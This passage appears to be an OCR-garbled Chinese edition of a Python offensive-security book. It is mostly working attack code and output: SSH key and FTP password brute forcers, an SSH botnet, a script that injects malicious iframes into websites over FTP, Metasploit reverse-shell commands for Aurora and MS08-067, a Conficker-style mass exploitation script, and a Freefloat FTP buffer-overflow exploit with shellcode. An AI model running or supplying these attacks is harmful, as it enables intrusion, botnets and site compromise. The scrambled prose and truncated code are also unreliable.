user = options.user

if host == None or passDir == None or user == None:
print(parser.usage)
exit(0)
for filename in os.listdir(passDir):
if Stop:
print('[*] Exiting: Key Found.')
exit(0)

if Fails > 5:
print('[!] Exiting: Too Many Connections Closed By
Remote Host.')
print('[!] Adjust number of simultaneous threads.')
exit(0)

connection_lock.acquire()

fullpath = os.path.join(passDir, filename)

print('[-] Testing keyfile ' + str(fullpath))

t = threading.Thread(target=connect, args=(user, host, ful.

t.start()

if __name__ == '__main__':
main()
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attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024
[-] Testing keyfile tmp/002ccle7910d61712claa®@7d4a609e7d-16764

[-] Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361

.SNIPPED. .>

Testing keyfile tmp/002dcb2941l1aac8087bcfde2b6d2d176-27637

Testing keyfile tmp/003e792d192912b4504c6lae7f3feb6f-30448

Testing keyfile tmp/003add04ad7a6de6cblac3608a7cc587-29168

Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637

Testing keyfile tmp/003796063673f0Ob7feac213b265753ea-13516

Exiting: Key Found.
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# coding=UTF-8
import optparse
import pxssh
class Client:
def __init__ (self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
= pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
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# coding=UTF-8
import optparse
import pxssh
class Client:
def __init__ (self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
= pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print('[*] Output from ' + client.host)
print('[+] ' + output + '\n')
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand( 'uname -v')
botnetCommand('cat /etc/issue')
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BEZRERS BHFTPAE » ANAAZRRH 22 F o — A8 2o Rk
FEAAEIMNAHINEAEEES—/AN4%A index.htm MEKINETR c #E T RkXEFHH L
£ 7 —A#8 index.htm W@ THRELSLEENTEOH R  TRENREE S
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204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIS
folderthis/folderthat/" 226 1862

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE
200 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PAS\
227 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE
index.htm" 213 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 —0500] "RETF
index.htm" 226 2573

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 —0500] "TYPI
200 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PAS\
227 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOF

index.htm" 226 3018
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# coding=UTF-8
import ftplib

def anonLogin(hostname):

try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Suct
ftp.quit()
return True

except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Fai.
return False

host = '192.168.95.179'
anonLogin(host)

{ S >
SEATR AW 0 BATT A BB 8 B A T LB S BT -

attacker# python anonLogin.py
[*] 192.168.95.179 FTP Anonymous Logon Succeeded.

#| Fl Ftplib & 7 5 fEFTP A 2 ik E

BRLEFR—HEERNAL  HFA L+ 5 A BT k89 5 RAFEEFTP
B4 % 8935 FIAUR o FTPE P 3425 » tehedtFileZilla » 2% % B4 & % /£ B B XA
P oA EFXAN > BT RAYGEERY > FTPIEH 2 FHMAL o LI HD
Moore# £ get_filezilla_creds.rb &9k &2 2| & 4 89 Metasploitfy X 4T &
AP AHR P ikt B AR ZAIFTPIE S - BE—ANKNEAL R MY &
%4 username/password &89 LR o af TR AB ALY B 89 » £ A F e 2 TA
¥ 69 username/password B4 o

administrator:password
admin:12345
root:secret
guest:guest

root:toor
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# coding=UTF-8
import ftplib

def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':"')[1].strip('\r').strip('\n"')
print("[+] Trying: " + userName + "/" + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded
ftp.quit()
return (userName, passWord)
except Exception as e:
pass

print('\n[-] Could not brute force FTP credentials.')
return (None, None)

host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
| E— o]
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attacker# python brutelLogin.py

[+] Trying: administrator/password

[+] Trying: admin/12345

[+] Trying: root/secret

[+] Trying: guest/guest

[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
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# coding=UTF-8
import ftplib

def returnDefault(ftp):

try:

dirList = ftp.nlst()
except:

dirList = []

print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirlList:
fn = fileName.lower ()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)
retList.append(fileName)
return retList

host = '192.168.95.179'
userName = 'guest'

passWord = 'guest'

ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)

B AEEAMEBEOFTPRE S > KNTRAEHNECHA=ZAWEBR @ AL E FT o 44
T AV BT A H RN L F O FHRNORBRENO R @

attacker# python defaultPages.py

[+] Found default page: index.html
[+] Found default page: index.php

[+] Found default page: testmysql.php

i % IEAR AZ]WEB U &
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http://10.10.10.112:8080/exploit
http://10.10.10.112:8080/exploit

attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443

[*] Please wait while we load the module tree...

<...SNIPPED...>

LHOST => 10.1060.10.112

SRVHOST => 10.10.10.112

URIPATH => /exploit

PAYLOAD => windows/shell/reverse_tcp

LHOST => 10.1060.10.112

LPORT => 443

[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.112:443

[*] Using URL:http://10.10.10.112:8080/exploit

[*] Server started.

msf exploit(msl10_002_aurora) >

{ =l
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msf exploit(msl1l0_002_aurora) >

[*] Sending Internet Explorer "Aurora" Memory Corruption to client
[*] Sending stage (240 bytes) to 10.10.10.107

[*] Command shell session 1 opened (10.10.10.112:443 ->10.10.10.10°
msf exploit(ms10_002_aurora) > sessions -i 1

[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>
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http://10.10.10.112:8080/exploit

# coding=UTF-8
import ftplib
def injectPage(ftp, page, redirect):

f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)

print '[+] Downloaded Page: ' + page
f.write(redirect)

f.close()

print '[+] Injected Malicious IFrame on: ' + page

ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page

host = '192.168.95.179'

userName = 'guest'

passWord = 'guest'

ftp = ftplib.FTP(host)

ftp.login(userName, passWord)

redirect = '<iframe src="http://10.10.10.112:8080/exploit"></iframe
injectPage(ftp, 'index.html', redirect)
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attacker# python injectPage.py

[+] Downloaded Page: index.html

[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html

ok b — e

M BT ESPTA 95 E2] attack() HEK T o attack() RFIFER—NEM
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def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
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# coding=UTF-8

import ftplib
import optparse
import time

def anonLogin(hostname):

def

def

try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Suct
ftp.quit()
return True
except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Fai.
return False

bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':"')[1].strip('\r").strip('\n"')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded
ftp.quit()
return (userName, passWword)
except Exception, e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)

returnbDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirlList:
fn = fileName.lower ()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)



retList.append(fileName)
return retList

def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print('[+] Downloaded Page: ' + page)
f.write(redirect)
f.close()
print('[+] Injected Malicious IFrame on: ' + page)
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page: ' + page)

def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)

def main():
parser = optparse.OptionParser('usage%prog -H <target host[s]>
parser.add_option('-H', dest='tgtHosts',6 type='string', help="¢
parser.add_option('-f', dest='passwdFile',6 type='string', help:
parser.add_option('-r', dest='redirect',6 type='string', help="¢
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(', ')
passwdFile = options.passwdFile
redirect = options.redirect

if tgtHosts == None or redirect == None:
print parser.usage
exit(0)

for tgtHost in tgtHosts:
username = None
password = None

if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'

print '[+] Using Anonymous Creds to attack'
attack(username, password, tgtHost, redirect)

elif passwdFile != None:

(username, password) = bruteLogin(tgtHost, passwdFile)
if password != None:

print'[+] Using Creds: ' + username + '/' + password +

attack(username, password, tgtHost, redirect)

if __name__ == '__main__':
main()
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attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe s

[-]
[+]
[+]
[+]
[+]
[*]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

J

192.168.95.179 FTP Anonymous Logon Failed.
Trying: administrator/password

Trying: admin/12345

Trying: root/secret

Trying: guest/guest

192.168.95.179 FTP Logon Succeeded: guest/guest
Found default page: index.html

Found default page: index.php

Downloaded Page: index.html

Injected Malicious IFrame on: index.html
Uploaded Injected Page: index.html
Downloaded Page: index.php

Injected Malicious IFrame on: index.php
Uploaded Injected Page: index.php

Injected Malicious IFrame on: testmysqgl.php

— 1
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attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.:

[*

L
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*

[*]

Please wait while we load the module tree...

.SNIPPED...>

Exploit running as background job.

Started reverse handler on 10.10.10.112:443

Using URL:http://10.10.10.112:8080/exploit

Server started.

exploit(ms10_002_aurora) >

Sending Internet Explorer "Aurora" Memory Corruption to client
Sending stage (240 bytes) to 10.10.10.107

Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.1(
exploit(msl1l0_002_aurora) > sessions -1 1

Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]

(C)

Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

1
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aaa
academia
anything
coffee
computer
cookie
oracle
password
secret
super
Unknown
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J Metasploitii FWindows SMB/k %

T RAL &A1 89 E - KAV AL I MetasploitilE R > =T VAIKT @69 M 3k T &, -
http //metasploit.com/download/ ° MetasploitZ kR 691+ E A2 2R A » £id k8
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HD Moorefd 5 ¥ 7 X &5 o Metasploit .7 % & M XA 7 A R 47 AL 69 B R IRIT K A
SR AR 89 5 Z MR o ZATRRE 6,4 7 Conficker#% % #) Al 89/ A » HD Moore # &
T & /%% X f£ Metasploit ¥ --- ms08-067_netapi ©


http://metasploit.com/download/

F) Al Metasploit &A1 T AL S EH B #H AT R L » A G 15 B ih 257 IR SUAF o
Metasploitdz i 5 4k 32 > VAR P AT hoib T SUHF o 694 A AT F o 4w 0 do R RAT
A B AR ZALA 192.168.13.37 ° A ms80-067_netapi FEMRK » Hi&
El4 192.168.77.77 EM LETT773% 2 89— ATCP Shell °

use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.1.37

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77

set LPORT 7777

exploit -j -z

A1 7 A FlMetasploitéy s & » RATHF KA

Exploit( exploit/windows/smb/ms08_067_netapi )’ AKX E B ix

A 192.168.1.37 ° 3T Rk &M T HEH 4T

A windows/meterpreter/reverse_tcp #iF R Wik 35| KA

69 192.168.77.77 MT77773% 9 L » )5 &K A1% Vi Metasploit/F 4 X H £ 4 - R B
B & XA conficker.rc » BATT AAIT 4

%4 msfconsole -r conficker.rc kB #H &M F o TN AFALER
Metasploittki% conficker.rc kB &z &H o &R R » 189K F LR E— /4
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attacker$ msfconsole -r conficker.rc

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.77.77:7777

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.37

[*] Meterpreter session 1 opened (192.168.77.77:7777 -&gt; 192.168
msf exploit(ms08_067_netapli) &gt; sessions -i 1

[*] Starting interaction with 1...
meterpreter &gt; execute -i -f cmd.exe
Process 2024 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32&gt;
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B ERAVAAAT B 5% a2 R 896 T P F B python-nmap 3k o L E » &

# findTgts() WAL BAREMAE A A » L PTA F T TCP 44535 0t T4 o
TCP 4453 0 R SMBWBLH) £ &35 0 R & ZHLHTCP 4455 0 5 > &A1H
B RASLAE A 2B 0 XA MR I BAT 2 R EE G A o Ffaad zJ&?:w} BT
O EM > o R RBFCE I I T 44555 2 5 303G EARAT]) E P o TR
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import nmap

def findTgts(subNet):
nmScan = nmap.PortScanner ()
nmScan.scan(subNet, '445'")
tgtHosts = []
for host in nmScan.all hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]["'state']
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts
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% Meterpreter & & i& 32| s & & 240 0 FH42 4] ZALEMetasploitty 3

# multi/handler ° A T £ &A169 ZALE%EE multi/handler 89 %97 & » &KA7
BARRETHS ﬁma%mmﬁﬁﬁm%iﬁ¢ A& A kel R B — A 28
TCPR#FEH YA FT B AARARN AR INE BT ER A FR 05 o b
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def setupHandler(configFile, lhost, lport):
configFile.write('use exploit/multi/handler\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\r
configFile.write('set LPORT ' + str(lport) + '\n'")
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')

configFile.write('setg DisablePayloadHandler 1\n')
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def confickerExploit(configFile, tgtHost, lhost, lport):
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\t
configFile.write('set LPORT ' + str(lport) + '\n'")
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n'")
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def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):

username = 'Administrator'

pF = open(passwdFile, 'r')

for password in pF.readlines():
password = password.strip('\n').strip('\r')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser ' + str(username) + '\n')
configFile.write('set SMBPass ' + str(password) + '\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_1
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
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# coding=UTF-8

import
import
import
import

0s

sys
nmap

optparse

def findTgts(subNet):

nmScan =

nmScan.scan(subNet,

tgtHosts =

[]

nmap.PortScanner ()
'445")

for host in nmScan.all hosts():
if nmScan[host].has_tcp(445):

state =

if

stat
print

nmScan[host]['tcp'][445]["'state']
open':
'[+] Found Target Host: '

+ host

tgtHosts.append(host)
return tgtHosts

def setupHandler(configFile, lhost, lport):
configFile.write('use exploit/multi/handler\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\i
configFile.write('set LPORT ' + str(lport) + '\n'")
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')

def confickerExploit(configFile, tgtHost, lhost, lport):
configFile.write('use exploit/windows/smb/ms@8_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\t
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')

def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
username = 'Administrator'

pF

= open(passwdFile,

lrl)

for password in pF.readlines():

password =
configFile
configFile
configFile
configFile
configFile
configFile
configFile
configFile

def main():

.write('use
.write('set
.write('set
.write('set
.write('set
write('set
write('set
write('exploit -j -z\n')

password.strip('\n").strip('\r'")
exploit/windows/smb/psexec\n')
SMBUser ' + str(username) + '\n')
SMBPass ' + str(password) + '\n')
RHOST ' + str(tgtHost) + '\n')
PAYLOAD windows/meterpreter/reverse_i
LPORT ' + str(lport) + '\n'")

LHOST ' + lhost + '\n')



J

configFile = open('meta.rc', 'w')
parser = optparse.OptionParser('[-] Usage%prog -H
parser.add_option('-H', dest='tgtHost',6 type='str
parser.add_option('-p', dest='lport',6 type='strin
parser.add_option('-1l', dest='lhost',6 type='strin
parser.add_option('-F', dest='passwdFile',6 type='
(options, args) = parser.parse_args()
if (options.tgtHost == None) | (options.lhost ==
print parser.usage
exit(0)
lhost = options.lhost
lport = options.lport
if lport == None:
lport = '1337'
passwdFile = options.passwdFile
tgtHosts = findTgts(options.tgtHost)
setupHandler (configFile, lhost, lport)
for tgtHost in tgtHosts:
confickerExploit(configFile, tgtHost, 1lhost,
if passwdFile != None:
smbBrute(configFile, tgtHost, passwdFile,
configFile.close()
os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
main()
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attacker# python conficker.py -H 192.168.1.30-50 -1 1
passwords. txt

[+] Found Target Host: 192.168.1.35
[+] Found Target Host: 192.168.1.37
[+] Found Target Host: 192.168.1.42
[+] Found Target Host: 192.168.1.45
[+] Found Target Host: 192.168.1.47

<..SNIPPED. .>

[*] Selected Target: Windows XP SP2 English (AlwaysOn
[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.37

[*] Meterpreter session 1 opened (192.168.1.3:1337 ->
<..SNIPPED. .>

[*] Selected Target: Windows XP SP2 English (AlwaysOn
[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.42

[*] Meterpreter session 1 opened (192.168.1.3:1337 ->
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NX )

192.168.1.37

NX )

192.168.1.42
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Shellcode : — INRILAMEE o £ T @eg4H] T F » &A1 F| F Metasploit & &
Shellcode X4 °

shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33"
"\Xxb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xed4\x4f"
"\Xx83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\Xx7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\Xdb\X70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\X56\x22\x1c\x43\x22\x98\x1F\x94\x9a\x97\x68\x0c\x91\xfO"
"\Xx48\x2d\x76\xe3\xb5\x64\xF3\xd0\x4e\x77\xd5\x28\xae\x49"
"\X19\xe6\x91\x65\x94\xT6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\XT6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xF5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1le\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\Xx40\x5c\x64\x0e\xa5\x53\x97\xce\xal\xe4\xed\xfc\x6e\x5f"
"\Xx63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xad4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\Xxea\xcO\Xxf3\x7d\x78\x02\xcO\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\XTa\x86\x0b\x78\xTa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\Xxac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\Xx7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\Xx11\xd0\x48\xT3\xch\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\Xx41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\X92\xT2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")

overflow = "\x41" * 246

ret = struct.pack('&lt;L', Ox7C874413) #7C874413 JMP ESP kernel32

padding = "\x90" * 150

crash = overflow + ret + padding + shellcode
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target, 21))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)
print("[*] Sending " + 'len(crash)' + " " + command +" byte crash.
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("RETR" +" " + crash + "\r\n")
time.sleep(4)
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#!/usr/bin/Python
# coding=UTF-8

#Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
#Author: Craig Freyman (@cdlzz)

#Date: July 19, 2011

#Tested on Windows XP SP3 English

#Part of FreeFloat pwn week

#Vendor Notified: 7-18-2011 (no response)

#Software Link:http://www.freefloat.com/sv/freefloat-ftp-server/fre

import socket, sys, time, struct

if len(sys.argv) &lt; 2:
print "[-]Usage:%s &lt;target addré&gt; &lt;command&gt;"% sys.ai
print "[-]For example [filename.py 192.168.1.10 PWND] would do
print "[-]O0ther options: AUTH, APPE, ALLO, ACCT"
sys.exit(0)

target = sys.argv[1]

command = sys.argv[2]

if len(sys.argv) &gt; 2:
platform = sys.argv[2]

#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikat:

#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0F\x03\x7d\x53\xc8\xed4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\Xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"



"\Xx56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\Xx48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\Xx19\xe6\x91\x65\x94\xF6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\XxFf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\Xxce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\Xx40\x5c\x64\x0e\xa5\x53\x97\xce\xal\xe4\xed\xfc\x6e\x5f"
"\Xx63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xcO\Xxf3\x7d\x78\x02\xcO\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\XFa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1fF\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\X11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\Xx92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")

#7C874413 FFE4 JMP ESP kernel32.dll

ret = struct.pack('&lt;L', 0x7C874413)

padding = "\x90" * 150

crash = "\x41" * 246 + ret + padding + shellcode

print "\
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overf.
[*] Author: Craig Freyman (@cdl1zz)\n\
[*] Connecting to "+target

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((target, 21))

except:
print("[-] Connection to "+target+" failed!")
sys.exit(0)

print("[*] Sending " + 'len(crash)' + " " + command +" byte crash.

s.send("USER anonymous\r\n")

s.recv(1024)

s.send("PASS \r\n")

s.recv(1024)

s.send(command +" " + crash + "\r\n")

time.sleep(4)
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attacker$ python freefloat2-overflow.py 192.168.1.37 PWND

[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow
[*] Author: Craig Freyman (@cdlzz)

[*] Connecting to 192.168.1.37

[*] Sending 768 PWND byte crash...

attacker$ nc 192.168.1.37 4444

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop\&gt;

REFR ! EENOFZEMN AT ENTAEABZNACTHAEH LA - KNALH B K
B TEsk o E A4 » K& F ESSH» FTP » SMBW L9 & 7 ik » &g & AN
JlPython# 22 T 47 & T 490day exploit °
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C:\Windows\system32>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsof
Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" /s
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList\Sign
atures\Unmanaged\010103000FQO0OFOO80000000FOOROFO4BCC2360E4B8F7DCSI

ABSAE4DADS
62E3960B979A7AD52FASF70188E103148
ProfileGuid REG_SZ {3B24CE70-AA79-4C9A-B9CC-83F90C2C9COD}
Description REG_SZ  Hooters_San_Pedro
Source REG_DWORD Ox8
DnsSuffix REG_SZ <none>
FirstNetwork REG_SZ Public_Library
DefaultGatewayMac REG_BINARY 00115024687F0000
| S D

1% FIWinReg: B Windows /E #t &

MR A6 M ZMACHAEYE AREG_BINARY £ o E AT d@696]FF » 1634
Fl AX00\X11\X50\x24\x68\Xx7F\x00\x00 & 7T #9 5 R Huht
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def val2addr(val):
addr = ""
for ch in val:
addr += ("%02x "% ord(ch))
addr = addr.strip(" ").replace(" ",":")[0:17]
return addr
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# coding=UTF-8
import _winreg

def val2addr(val):
addr = ""
for ch in val:
addr += ("%02x "% ord(ch))
addr = addr.strip(" ").replace(" ",":")[0:17]
return addr

def printNets():
net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList
key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, net)
print '\n[*] Networks You have Joined.'
for i in range(100):

try:
guid = _winreg.EnumKey(key, 1)
netkKey = _winreg.OpenKey(key, str(guid))
(n, addr, t) = _winreg.EnumValue(netKey, 5)
